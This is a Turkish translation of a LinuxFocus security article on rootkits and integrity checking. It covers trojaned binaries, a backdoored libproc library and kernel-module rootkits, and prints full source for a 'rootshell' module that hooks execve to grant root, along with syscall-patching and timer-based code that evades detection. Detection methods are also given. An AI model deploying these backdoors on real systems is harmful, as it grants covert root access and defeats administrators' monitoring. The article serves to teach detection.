[LinuxFocus-icon]
<--  | Ana Sayfa  | Erişimdüzeni  | İçindekiler  | Arama

Duyumlar | Belgelikler | Bağlantılar | LF Nedir
Bu makalenin farklı dillerde bulunduğu adresler: English  Deutsch  Francais  Italiano  Russian  Turkce  

Frederic Raynal
Frédéric Raynal aka Pappy (homepage)

Yazar hakkında:

Frédéric Raynal bilgisayar bilimleri Ph.D derecesini, bilgi gizleme konusundaki tezini tamamladıktan sonra aldı. Kendisi, bilgisayar güvenliği konusuna adanmış Fransız MISC dergisinin şef editörüdür. Bu arada R&D konusunda kendine iş aramaktadır.



Türkçe'ye çeviri:
Erdal Mutlu <erdal(at)linuxfocus.org>

İçerik:

 

Root-kit'ler ve bütünlük

gate

Özet:

Bu yazı ilk olarak Linux Magazine France dergisinin güvenlik ile ilgili özel bir sayısında yayınlandı. Editör, yazarlar ve çevirmenler, bu sayıda yer alan yazıları LinuxFocus'da yayınlanmasını kibarca kabul ettiler. Dolayısıyla, LinuxFocus yazıların İngilizceleri hazır olur olmaz yayınlayacaktır. Konuyla ilgili herkese çok teşekkür ederim. Bu özet, bu türden olan her yazıda yeralacaktır.

Bu yazıda, bir saldırganın sisteme girdikten sonra yapabileceği işler anlatılacaktır. Ayrıca, bu durumda sistemin işgal edilip edilmediğini sezimlemek için sistem yöneticisinin neler yapabileceği de tartışılacaktır.


_________________ _________________ _________________

 

İşgal

Kullandığı yöntemi düşünmeden, bir saldırganın sisteme girmeyi başardığını varsayalım. Diyelim ki, sistem yöneticisinin, root kullanıcısının vs sahip olduğu tüm haklara da sahip olsun. Kullanılan tüm araçlar sistemin düzgün çalıştığını gösterseler de, sistem artık güvenilir değildir. Saldırgan, sistem çetele dosyalarını temizlemiş, ... , aslında sisteme rahat bir şekilde kendini yüklemiştir.

Saldırganın ilk amacı, kendini sistem yöneticisinden olabildiğince gizlemektir. Daha sonra, yapmak istediği şeye göre gerekli araçları sisteme yükleyecektir. Tabii, eğer tüm bilgileri yok etmek isterse, bu kadar dikkatli olmasına gerek kalmayacaktır.

Sistem yöneticisinin sisteme sürekli bağlı olarak tüm bağlantıları denetlemesi beklenemez. Ancak, istenmeyen bir saldırıyı olabildiğince çabuk sezimlemelidir. Sözgelimi, ağ izleme (sniffer) programlarıyla ağ üzerinde dolaşan tüm paketleri elde edebilir. İşgal edilmiş bir sistem, saldırganın botIRC, DDOS gibi çeşitli programları çalıştırdığı bir üs haline gelecektir. telnet, rlogin, pop3 gibi birçok protokol veri akışını ve geçişsözcüklerini cypher işleminden geçirmemektedir, yani kodlamamaktadır. Dolayısıyla, sahip olduğu zaman ne kadar fazla ise, saldırgan, işgal edilmiş bilgisayarın bulunduğu ağ üzerinde o kadar fazla denetim sağlamış olacaktır.

Saldırganın varlığı belirlendikten sonra ortaya başka bir sorun daha çıkmaktadır: Saldırganın sistemde neleri değiştirdiğini bilmiyoruz. Belki de, işgal ettiği sistemin temel komutları ve teşhis araçlarını değiştirmiştir. Bundan sonra, denetimlerimizde çok titiz davranmak zorundayız, yoksa sistem bir daha işgal edilebilir veya kırılabilir.

Son soru, alınacak önlemler konusunda olacaktır. İki yöntem izlenebilir: Sistem yöneticisi sistemi tekrar yükleyebilir veya sadece bozulmuş dosyaları değiştirebilir. Eğer, sistemi yeniden yüklemek çok zaman alacaksa, değiştirilmiş dosyların hangileri olduğunu gözlemlemek çok dikkatli yapılması gereken bir işlemdir.

Hangi yöntemi izlerseniz izleyin, bozulmuş sistemin bir yedeğini alının, ki daha sonra saldırganın bu işi nasıl yaptığını öğrenebilesiniz. Ayrıca, bilgisayarınız daha büyük bir saldırının bir parçası olmuş olabilir ve bu da sizin açınızdan hukuki sonuçlar doğurabilir. Yedek almama bilgi saklama anlamına gelebileceği gibi, alma ise sizi temize çıkarabilir.

 

Görünmezlik diye bir şey var ... Ben gördüm !

Burada kırılmış bir sistemde en fazla hakka sahip olurken, görünmez kalmanın birkaç farklı yöntemi tartışılacaktır.

Konunun ayrıntılarına girmeden önce, kullanılan terimleri tanımlayalım:

Kırıcı sistemi işgal ettikten sonra, her iki tür programa gereksinim duyacaktır. Arka kapı sayesinde, sistem yöneticisi tüm geçişsözcüklerini değiştirse bile sisteme girebilmesini sağlamaktadır. Trojanlar ise, onun görünmez kalmasını sağlamaktadır.

Şu aşamada bir programın trojan mı yoksa arka kapı mı olduğu bizi ilgilendirmiyor. Amacımız, onları oluşturmanın ve belirlemenin var olan yollarını (ikisi de benzerdir) göstermektir.

Son olarak, birçok Linux dağıtıcısının sunduğu kimliklendirme yöntemini ekleyelim (Sözgelimi, rpm --checksig ile dosyaların kaynağını ve bütünlüğünü denetlemeniz olasıdır.). Sisteminize herhangibir yazılım yüklemeden önce denetlemekte yarar vardır. Eğer, bozuk bir paketi alıp sisteminize yüklerseniz, saldırgana yapacak pek bir şey bırakmamış olursunuz:( Windows altında Back Orifice ile olan da bu dur zaten.

 

İkili dosyaların yerine başkalarını koymak

Unixi'te eskiden, sisteme yapılan bir saldırıyı belirlemek pek zor değildi:

Bu zamanlardan sonra saldırganlar yukarıda belirtilen komutların yerine geçecek komutlar geliştirdiler. Yunanlıların Troya'yı ele geçirmek için tahtadan bir at yapmaları gibi, bu programlar da asılları gibi gözükmekte ve böylece sistem yöneticileri tarafından güvenle kullanılmaktadır. Ancak, bu yeni programlar saldırganı saklacayacak şekilde bilgi gizlemektedir. Aynı dizindeki diğer programlar gibi aynı zaman izi (timestamp) ve denetim toplamları (checksums) da değişmediği için (tabii diğer troyan program sayesinde) 'saf' sistem yöneticisi tamamen kandırılmış olur.

 

Linux Root-Kit

Linux Root-Kit (lrk) biraz eski de olsa kendi alanında bir klasiktir. Başlangıçta Lord Somer tarafında geliştirilen kit, şimdilerde beşinci sürümüne ulaşmıştır. Bunun dışında birçok başka root-kit de vardır. Bu tür araçların yapabileceklerini hakkında bir fikir verebilmek için biz lrk'nın özelliklerinden söz edeceğiz.

Değiştirilmiş programlar sisteme özell erişim sağlamaktadır. Bu programlardan birini kullananların değişikliklerin farkına varmamaları için, benimsenmiş değer olarak satori olan geçişsözcüğü ile korunmaktadır. Geçişsözcüğü derleme sırasında değiştirilebilir.

Yeni root-kit'ler doğrudan çekirdeğe saldırdıklarından, bu root-kit artık eskimiş durumdadır. Dahası, etkilenen programların sürümleri de artık kullanılmamaktadır.

 

Bu tip root-kit'lerin belirlenmesi

Güvenlik önlemleriniz sıkı olduğu sürece, bu şekil root-kit'leri tespit etmek kolaydır. Hash fonksiyonları ile kriptografi bize uygun aracı sağlamaktadır:

[lrk5/net-tools-1.32-alpha]# md5sum ifconfig
086394958255553f6f38684dad97869e  ifconfig
[lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig`
f06cf5241da897237245114045368267  /sbin/ifconfig

Neyin değiştiğini bilmeden bile, yüklü olan ifconfig ile lrk5 deki ile farklı olduğu hemen anlaşılmaktadır.

Bilgisayarın yüklenmesi biter bitmez, duyarlı dosyaların (duyarlı dosyalar konusuna daha sonra geleceğiz) hash verileri ile birlikte bir veritabanına yedeğini almak gerekir ki, daha sonra yapılacak değiştirmeler olabildiğince kolay sezimlenebilsin.

Veritabanı fiziksel olarak içeriği değiştirilemeyen (disket, bir defa yazılabilen CD, ...) ortamlarda saklanmalıdır. Diyelim ki kırıcı, sistemde sistem yöneticisi haklarına sahip oldu. Eğer, veritabanı sadece okunabilir bir disk bölmesine yerleştirilmiş ise, bu disk bölmesi yazılabilir olarak yeniden bağlanabilir, veritabanı güncellenebilir ve sonunda tekrar sadece okunabilir olarak bağlanabilir. Eğer, kırıcı dikkatli ise, veritabanının zaman izi değerini de düzeltecektir. Böylece, bir sonraki bütünlük denetimi herhangi bir farklılık sezimleyemeyecektir. Bunun anlamı, süper kullanıcı haklarının veritabanını korumaya yetmeyeceğidir.

Sisteminizi sonraları güncellediğinizde, yedeğinizi de güncellemeniz gerekir. Böylce, yedekler üzerinde yapacağınız denetimlerle, sistemdeki istenmeyen değişiklikleri belirleyebilirsiniz.

Ancak, sistem bütünlüğünün denetlenebilmesi iki koşul altında olasıdır:

  1. Sistemden hesaplanan hash değerleri ile güvenliğinden %100 emin olduğunuz hash değerleri karşılaştırılmalıdır. Sadece okunabilir bir yedeğe olan gereksinim de bu yüzdendir.
  2. Bütünlük denetiminde kullanılan araçlar da 'temiz' olmalıdır.

Yani, her denetim başka bir sistemden (işgal edilmemiş) gelen araçlar kullanılarak yapılmalıdır.

 

Dinamik kütüphane kullanımı

Görüldüğü gibi, sistemde görünmez olabilmek için birçok sistem aracında değişiklik yapmak gerekmektedir. Bir dosyanın var olup olmadığını belirlemek için birçok komut vardır. Aynı şey ağ bağlantıları ve çalışan programlar için geçerlidir. Sonuncusunu unutmak vahim sonuçlara yolaçabilir.

Günümüzde program boyutunu küçük tutmak için birçok ikili dosya dinamik kütüphane kullanmaktadır. Yukarıda sözünü ettiğimiz sorunu giderebilmek için basit bir yol vardır, o da her ikili dosyayı değiştirmek yerine, gerekli fonksiyonu bir kütüphaneye yerleştirmektir.

Bir kırıcının sistemi yeniden başlattıktan sonra sisteminin ayakta kalma süresi veya çalışma (uptime) süresini değiştirmek istediğini varsayalım. Bu bilgiye uptime, w, top gibi çeşitli sistem araçları ile ulaşılabilir.

İkili dosyaların hangi kütüphaneleri kullandığını öğrenebilmek için ldd komutu kullanılmaktadır:

[pappy]# ldd `which uptime` `which ps` `which top`
/usr/bin/uptime:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/bin/ps:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40032000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
/usr/bin/top:
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000)
        libc.so.6 => /lib/libc.so.6 (0x40077000)
        libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

libc nin yanısıra, libproc.so kütüphanesini bulmak istiyoruz. Kaynak kodu bulup değiştirmek yeterlidir. Burada, $PROCPS dizininde bulunan 2.0.7 sürümünü kullanacağız.

uptime komutunun uptime.c dosyası print_uptime() fonksiyonunu $PROCPS/proc/whattime.c dosyasında bulabileceğimizi belirtmektedir. uptime(double *uptime_secs, double *idle_secs) fonksiyonu ($PROCPS/proc/sysinfo.c) isteklerimiz doğrultusunda değiştirmemize olanak vermektedir:

/* $PROCPS/proc/sysinfo.c */

 1:  int uptime(double *uptime_secs, double *idle_secs) {
 2:    double up=0, idle=1000;
 3:
 4:    FILE_TO_BUF(UPTIME_FILE,uptime_fd);
 5:    if (sscanf(buf, "%lf %lf", &up, &idle) < 2) {
 6:      fprintf(stderr, "bad data in " UPTIME_FILE "\n");
 7:      return 0;
 8:    }
 9:
10:  #ifdef _LIBROOTKIT_
11:    {
12:      char *term = getenv("TERM");
13:      if (term && strcmp(term, "satori"))
14:        up+=3600 * 24 * 365 * log(up);
15:    }
16:  #endif /*_LIBROOTKIT_*/
17:
18:    SET_IF_DESIRED(uptime_secs, up);
19:    SET_IF_DESIRED(idle_secs, idle);
20:
21:    return up;	/* assume never be zero seconds in practice */
22:  }

12 den 18. satıra kadarını programın ilk sürümüne eklemekle, fonksiyonun sonucunu değiştireceğini görmüş olduk. Eğer, TERM çevre değişkeni satori değerine sahip değilse, up değişkeni gerçeck ayakta kalma süresinin (uptime) logaritmik olarak artırılmaktadır (Kullanılan bu formüller, çok kısa bir sürede ayakta kalma süresi yıllara erişmektedir:)).

Kütüphanemizi derlemek için -D_LIBROOTKIT_ ile -lm seçeneklerini eklemeliyiz ( log(up); için). uptime fonksiyonumuzu kullanarak bir ikili dosyanın gereksinim duyduğu kütüphaneleri ldd komutuyla araştırmak istediğimizde, libm in listede olduğunu görürüz. Ne yazıkki, bu sistemde yüklü olan ikili dosyalar için değru değildir. Kütüphaneyi olduğu gibi kullanmaya kalkıştığımızda aşağıdaki hataya yol açmaktadır:

[procps-2.0.7]# ldd ./uptime //compiled with the new libproc.so
        libm.so.6 => /lib/libm.so.6 (0x40025000)
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000)
        libc.so.6 => /lib/libc.so.6 (0x40052000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# ldd `which uptime` //cmd d'origine
        libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000)
        libc.so.6 => /lib/libc.so.6 (0x40031000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[procps-2.0.7]# uptime  //original command
uptime: error while loading shared libraries: /lib/libproc.so.2.0.7:
undefined symbol: log

Herbir ikili dosyayı derlememek için matematik kütüphanesini libproc.so yaratırken statik olarak derlemek yeterli olacaktır:

gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7
alloc.o compare.o devname.o ksym.o output.o pwcache.o
readproc.o signals.o status.o sysinfo.o version.o
whattime.o /usr/lib/libm.a

log() fonksiyonu doğrudan libproc.so kütüphanesinin içinde dir. Değiştirilmiş kütüphane, asıl kütüphane ile aynı bağımlılıkları içermeledir, yoksa bunu kullanan ikili dosyalar çalışmayacaktır.

[pappy]# uptime
  2:12pm  up 7919 days,  1:28, 2 users, load average: 0.00, 0.03, 0.00

[pappy]# w
2:12pm  up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:17m  1.02s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:17m  0.02s  0.02s  /bin/cat

[pappy]# top
2:14pm  up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00
51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped
CPU states:  2.9% user,  1.1% system,  0.0% nice, 95.8% idle
Mem:  191308K av, 181984K used,   9324K free, 0K shrd, 2680K buff
Swap: 249440K av,      0K used, 249440K free           79260K cached

[pappy]# export TERM=satori
[pappy]# uptime
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00

[pappy]# w
2:15pm  up  2:14,  2 users,  load average: 0.03, 0.04, 0.00
USER     TTY     FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
raynal   tty1     -                12:01pm
  1:20m  1.04s  0.02s  xinit /etc/X11/
raynal   pts/0    -                12:55pm
  1:20m  0.02s  0.02s  /bin/cat

[pappy]# top
top: Unknown terminal "satori" in $TERM

Herşey yolunda gözüküyor. Görünüşe göre top TERM çevre değişkenini görüntülemek için kullanmaktadır. O yüzden, gerçek değerleri alabilmek için başka bir değişkeni bir işaret olarak kullanmalıyız.

Dinamik kütüphanelerinde yapılmış değişiklikleri belirlemek için daha önce sözünü ettiğimiz yönteme benzerdir. Hash verisini denetlemek yeterlidir. Ancak, birçok sistem yöneticisi /bin, /sbin, /usr/bin, /usr/sbin, /etc gibi dizinlerin hash verilerinin hesaplanmasını ve denetlenmesini yaparken kütüphanelerin olduğu dizinleri atlamakta ki bunlar da diğerleri kadar önemlidir.

Ancak, dinamik kütüphaneleri değiştirmek, sadece birden fazla ikili dosyayı aynı anda değiştirmek amacıyla yapılmamaktadır. Bütünlüğü denetleyen bazı programlar da bu tür kitiphaneleri kullanmaktadır. Bu oldukça tehlikelidir! Duyarlı sistemlerde tüm önemli programlar statik olarak derlenmelidir. Böylece, kütüphanelerin değiştirilmelerinden etkilenmemiş olurlar.

Dolayısıyla önceki kullanılan md5sum programı biraz tehlikelidir:

[pappy]# ldd `which md5sum`
        libc.so.6 => /lib/libc.so.6 (0x40025000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

Bu komut libc kütüphanesinden dinamik olarak fonksiyonlar kullanılmaktadır ki bunlar değiştirilebilir (nm -D `which md5sum` ile denetleyin) Sözgelimi, fopen() kullanırken sadece dosyanın yoltanımına bakmak yeterlidir. Eğer, kırılmış programı gösteriyorsa, asıl programa yönlendirmek olasıdır: Bunu kırıcı sistemde bir yerde saklıyordur.

Bu basit örnek, bütünlük testleri şaşırtacak olasılıkları göstermektedir. Bu tür testlerin işgal edilmemiş, yani dış araçlar ile yapılması gerektiğini gördük (İkili dosyalar bölümüne bakınız). Şimdi ise, işgal edilmiş sistemlerdeki fonksiyonları kullandıklarında hiç bir işe yaramayacaklarını keşif ettik.

İşte şimdi, bir kırıcının varlığını sezimleyecek bir acil durum kiti oluşturabilirizi:

Bu programlar en az gereksinim duyulanlardır. Diğer komutlar da yararlı olabilir:

Söylemek istediğimiz bir şey de, bu araçlar sadece kırıcının varlığını sezimlemede değil, sistemde hata belirleme sırasında da kullanılabilir.

Açıktır kir, acil kitteki her program statik olarak derlenmelidir. Dinamik kütüphane kullanımının başarısız olabileceğini biraz önce gördük.

 

Eğlence ve kazanç için Linux çekirdek modülü (Linux Kernel Module - LKM)

Bir dosyanın varlığını sezimlemede kullanılan her ikili dosyayı değiştirmek, ya da kütüphanelerde bulunan her fonksiyonu denetim altında tutmak imkansız olmalıdır. İmkansız mı? Bunu siz söylüyorsunuz. Durum pek de öyle değil.

Yeni bir root-kit kuşağı ortaya çıktı. Bu doğrudan çekirdeği hedef alıyor.

 

LKM'nin kapsamı

Sınırsız! Adından da anlaşıldığı gibi, LKM çekirdek alanında çalışmakta ve böylece herşeyi denetleyebilmektedir.

Kırıcı için LKM'nin yapabildikleri aşağıda sıralandırılmıştır:

Listenin uzunluğu kırıcının hayal yeteneği ile sınırlıdır. Ancak, yukarıdaki yöntemlerde olduğu gibi, sistem yöneticisi aynı araçları kullanarak sistemi korumak için kendi araçlarını geliştirebilir:

LKM'ye karşı nasıl korunuruz? Çekirdeği yapılandırma sırasında CONFIG_MODULES modül desteği seçilmeyebilir. Sonuç olarak bu dökme (monolithic) çekirdek oluşumu demektir.

Ancak, çekirdekte modül desteği olmadığında bile, kolay olmamakla birlikte bazı modülleri belleğe yüklemek olasıdır. Silvio Cesare çekirdeğin belleğini yönettiği /dev/kmem aygıtını kullanarak, çekirdeğe saldırmak amacıyla, kinsmod programını yazdı (Kendi sayfasındaki runtime-kernel-kmem-patching.txt dosyasını okuyunuz.).

Modül programlamayı özetlemek için herşeyin init_module() ve cleanup_module() adındaki iki fonksiyonda bittiğini söylemeliyiz. Bunlar modülün davranışını belirlemektedir. Ancak, çekirdek ortamında çalıştıkları için, çekirdek belleğinde yer alan sistem çağrıları ve sembolleri gibi herşeye ulaşabilirler.

 

İçeriye bu yoldan buyrun!

LKM kullanarak bir arka kapı yüklenmesini gösterelim. Root kabuk ortamı elde etmek isteyen kullanıcının /etc/passwd komutunu çalıştırması yeterlidir. Tabii bu bir komut değil. Ancak, sys_execve() sistem çağrısını /bin/sh komutuna yönlendirerek, root haklarına sahip bir kabuk ortamı sağlamış olur.

Bu modül 2.2.14, 2.2.16, 2.2.19, 2.4.4 gibi çeşitli çekirdekler ile test edilmiştir. Hepsiyle düzgün çalışmaktadır. Ancak, 2.2.19smp-ow1 (Openwall yaması ile çoklu işlemcili) çekirdekle kullanıldığında kabuk açık ise, root haklarını vermemektedir. Bu çekirdek bir şekilde hassas ve kırılgandır. O yüzden dikkatli olmanızda yarar vardır... Dosyların yoltanımları çekirdekaynak kodunun olağan ağaç yapısında yer almaktadır.

/* rootshell.c */
#define MODULE
#define __KERNEL__

#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/config.h>
#include <linux/stddef.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <sys/syscall.h>
#include <linux/smp_lock.h>

#if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE
#include <linux/slab.h>
#endif

int (*old_execve)(struct pt_regs);

extern void *sys_call_table[];

#define ROOTSHELL "[rootshell] "

char magic_cmd[] = "/bin/sh";

int new_execve(struct pt_regs regs) {
  int error;
  char * filename, *new_exe = NULL;
  char hacked_cmd[] = "/etc/passwd";

  lock_kernel();
  filename = getname((char *) regs.ebx);

  printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename,
      current->uid, current->euid, current->suid, current->fsuid,
      current->gid, current->egid, current->sgid, current->fsgid);

  error = PTR_ERR(filename);
  if (IS_ERR(filename))
    goto out;

  if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) {
    printk(ROOTSHELL " Got it:)))\n");
    current->uid = current->euid = current->suid =
                      current->fsuid = 0;
    current->gid = current->egid = current->sgid =
                      current->fsgid = 0;

    cap_t(current->cap_effective) = ~0;
    cap_t(current->cap_inheritable) = ~0;
    cap_t(current->cap_permitted) = ~0;

    new_exe = magic_cmd;
  } else
    new_exe = filename;

  error = do_execve(new_exe, (char **) regs.ecx,
                   (char **) regs.edx, &regs);
  if (error == 0)
#ifdef PT_DTRACE	/* 2.2 vs. 2.4 */
    current->ptrace &= ~PT_DTRACE;
#else
  current->flags &= ~PF_DTRACE;
#endif
   putname(filename);
 out:
  unlock_kernel();
  return error;
}

int init_module(void)
{
  lock_kernel();

  printk(ROOTSHELL "Loaded:)\n");

#define REPLACE(x) old_##x = sys_call_table[__NR_##x];\
		  sys_call_table[__NR_##x] = new_##x

  REPLACE(execve);

  unlock_kernel();
  return 0;
}

void cleanup_module(void)
{
#define RESTORE(x) sys_call_table[__NR_##x] = old_##x
  RESTORE(execve);

  printk(ROOTSHELL "Unloaded:(\n");
}

Şimdi herşeyin istedğimiz gibi çalıştığından emin olmak için bir deneme yapalım:

[root@charly rootshell]$ insmod rootshell.o
[root@charly rootshell]$ exit
exit
[pappy]# id
uid=500(pappy) gid=100(users) groups=100(users)
[pappy]# /etc/passwd
[root@charly rootshell]$ id
uid=0(root) gid=0(root) groups=100(users)
[root@charly rootshell]$ rmmod rootshell
[root@charly rootshell]$ exit
exit
[pappy]#

Bu kısa gösteriden sonra /var/log/kernel dosyasının içeriğene bir göz atalım: syslogd çekirdek tarafından gönderilen tüm mesajları yazmakla yapılandırılmıştır (kern.* /var/log/kernel /etc/syslogd.conf da):

[rootshell] Loaded:)
[rootshell]  ./usr/bin/id. (500/500/500/500) (100/100/100/100)
[rootshell]  ./etc/passwd. (500/500/500/500) (100/100/100/100)
[rootshell]  Got it:)))
[rootshell]  ./usr/bin/id. (0/0/0/0) (0/0/0/0)
[rootshell]  ./sbin/rmmod. (0/0/0/0) (0/0/0/0)
[rootshell] Unloaded:(

Bu modülü biraz değiştirerek sistem yöneticisi çok güzel bir izleme aracına sahip olmuş olur. Sistemde çalıştırılan tüm komutların çetelesini çekirdek çetele dosyasında tutulmaktadır. regs.ecx **argv yi ve regs.edx de **envp yi o andaki süreci tanımlayan veri yapısını içermektedir. Böylece, sistemde her an olup bitenin bilgisi elimizde bulunmaktadır.

 

Sezimleme ve güvenlik

System yönetcisi açısından, bütünlük testi artık bu modülü bulmada yararlı olmaz (Aslında pek de değil, çünkü bu basit bir modül.). Daha sonra, böyle bir root-kit'in arkada bırakacağı parmak izlerini araştıracağız:

Burada konuştuğumuz sorun veya çözümler, kullanıcı ortamındaki komutlara dayanmaktadır. 'İyi' bir LKM gizli kalmak için tüm teknikleri kullanacaktır.

Bu root-kit'leri ortaya çıkartmak için iki yöntem vardır. İlki, /dev/kmem aygıtını kullanarak bellekteki çekirdek resmi ile /proc daki ile karşılaştırmaya dayanmaktadır. kstat adındaki aracı kullanarak /dev/kmem deki sistemde çalışan süreçleri, sistem çağrı adreslerini vs arama yapılmasını sağlamaktadır. Toby Miller'in Yüklenebilir çekirdek modülleri (LKM) yakalama yazısı, kstat ile root-kit'leri yakalamasını anlatmaktadır.

Diğer bir yöntem, herbir sistem çağrısı tablosu değişiklik denemeseni yakalamaktan geçer. Tim Lawless'in St_Michael modülü böyle bir izlemeyi mümkün kılmaktadır. Aşağıdaki bilgi yazının yazımı sırasında modül henüz geliştirme aşamasında olduğundan değişmiş olabilir.

Önceki örneğimizde gördüğümüz gibi, lkm root-kit'i sistem çağrıları tablosu değişiklikliğene dayanmaktadır. İlk çözüm onların adreslerinin yedeğini ikinci bir tabloya almak ve sys_init_module() ile sys_delete_module() modülleri yeniden tanımlamak. Böylece herhangi bir modülü yükledikten sonra, adresin tutup tutmadığı denetlenebir:

/* Extract from St_Michael module by Tim Lawless */

asmlinkage long
sm_init_module (const char *name, struct module * mod_user)
{
  int init_module_return;
  register int i;

  init_module_return = (*orig_init_module)(name,mod_user);

  /*
     Verify that the syscall table is the same.
     If its changed then respond

     We could probably make this a function in itself, but
     why spend the extra time making a call?
  */

  for (i = 0; i < NR_syscalls; i++) {
    if ( recorded_sys_call_table[i] != sys_call_table[i] ) {
      int j;
      for ( i = 0; i < NR_syscalls; i++)
	sys_call_table[i] = recorded_sys_call_table[i];
      break;
    }
  }
  return init_module_return;
}

Bu çözüm var olan root-kit'lere karşı koruma sağlamaktadır ancak mükemmel olmaktan da uzaktır. Güvenlik konusu çok zor bir yarıştır. İşte bu güvenlik engelini aşma yöntemi. Sistem çağrısı adresini değiştirmek yerine, sistem çağrısının kendisini neden değiştirmiyoruz? Bu Silvio Cesare'ın stealth-syscall.txt belgesinde anlatılmıştır. Saldırı, sistem çağrısının ilk byte'larını "jump &new_syscall" ile değiştirmektedir (Burada Assembler'e benzer bir kaynak kodu ile nasıl yapıldığını gösterdik.):

/* Extract from stealth_syscall.c (Linux 2.0.35)
   by Silvio Cesare */

static char new_syscall_code[7] =
        "\xbd\x00\x00\x00\x00"  /*      movl   $0,%ebp  */
        "\xff\xe5"              /*      jmp    *%ebp    */
;

int init_module(void)
{
  *(long *)&new_syscall_code[1] = (long)new_syscall;
  _memcpy(syscall_code, sys_call_table[SYSCALL_NR],
          sizeof(syscall_code));
  _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code,
          sizeof(syscall_code));
  return 0;
}

İkili dosya ve kütüphaneleri bütünlük testleriyle korumaya çalıştığımız gibi burada da aynı şeyi yapmamız gerekir. Herbir sistem çağrısı için olan makina kodunun hash verilerini saklamamız gerekir. Herbir modül yüklemesinden sonra bütünlük testi yapabilmek için St_Michael in init_module() sistem çağrısını değiştirmek için uğraşıyoruz.

Ancak, bu durumda bile bütünlük testlerini atlatmak olasıdır. (Örnekler, Tim Lawless, Mixman ve benim e-iletilerden alınmıştır. Kaynak kod ise, Mixman'ın çalışmasıdır.)

  1. Sistem çağrısı olmayan bir fonksiyonu değiştirmek: Sistem çağrısındaki aynı yöntem burada da geçerlidir. Fonksiyonun hacked_printk() fonksiyonuna atlayabilmesi (jump) için init_module() deki ilk byte'ları değiştiriyoruz (örneğimizdeki printk()).
    /* Extract from printk_exploit.c by Mixman */
    
    static unsigned char hacked = 0;
    
    /* hacked_printk() replaces system call.
       Next, we execute "normal" printk() for
       everything to work properly.
    */
    asmlinkage int hacked_printk(const char* fmt,...)
    {
      va_list args;
      char buf[4096];
      int i;
    
      if(!fmt) return 0;
      if(!hacked) {
        sys_call_table[SYS_chdir] = hacked_chdir;
        hacked = 1;
      }
      memset(buf,0,sizeof(buf));
      va_start(args,fmt);
      i = vsprintf(buf,fmt,args);
      va_end(args);
      return i;
    }
          
    init_module()'e yerleştirilmiş bütünlük testi, modül yükleme sırasında hiçbir sistem çağrısının değiştirilmediğini onaylamaktadır. Ancak, printk()'ın bir sonraki kullanımında değişiklik yapılmış olur...
    Bunu da hesaba katmak için bütünlük testini her fonksiyona genişletmek gerekir.
  2. Zamanlayıcı saat kullanımı: init_module()'de zamanlayıcı saati çalıştırmakla, modül yükleme sırasından çok daha sonra değişiklik yapmak olasıdır. Bütünlük testleri modüllerin yüklenmesi ve kaldırılması sırasında yapıldığı için saldırı gözden kaçmış olur:(
     /* timer_exploit.c by Mixman */
    
     #define TIMER_TIMEOUT  200
    
     extern void* sys_call_table[];
     int (*org_chdir)(const char*);
    
     static timer_t timer;
     static unsigned char hacked = 0;
    
     asmlinkage int hacked_chdir(const char* path)
     {
       printk("Some sort of periodic checking could be a solution...\n");
       return org_chdir(path);
     }
    
     void timer_handler(unsigned long arg)
     {
       if(!hacked) {
         hacked = 1;
         org_chdir = sys_call_table[SYS_chdir];
         sys_call_table[SYS_chdir] = hacked_chdir;
       }
     }
    
     int init_module(void)
     {
       printk("Adding kernel timer...\n");
       memset(&timer,0,sizeof(timer));
       init_timer(&timer);
       timer.expires = jiffies + TIMER_TIMEOUT;
       timer.function = timer_handler;
       add_timer(&timer);
       printk("Syscall sys_chdir() should be modified in a few seconds\n");
       return 0;
     }
    
     void cleanup_module(void)
     {
       del_timer(&timer);
       sys_call_table[SYS_chdir] = org_chdir;
     }
          
    Şu anda zor olan, bütünlük testini sadece modül yükleme ve kaldırma sırasında değil, belli aralıklarla çalıştırmaktadır.

 

Sonuç

Sistem bütünlüğünü sağlamak pek kolay bir iş değildir. Testler güvenilir olmasına karşın, bunları atlatacak bir sürü de yöntem vardır. Sisteme yapılmış bir girişten şüphelendiğinde hiçbir şeye güvenmemekte yarar vardır. Denemeler için,en iyisi sistemi kapatıp yenisini çalıştırmaktır.

Burada anlatılan araç ve yöntemler iki yönlüdür. Bunlar sistem yöneticilere olduğu kadar, kırıcılar için de yarar sağlarlar. rootshell modülünde gördüğümüz gibi, kimin neyi çalıştırdığı da denetlenebilir.

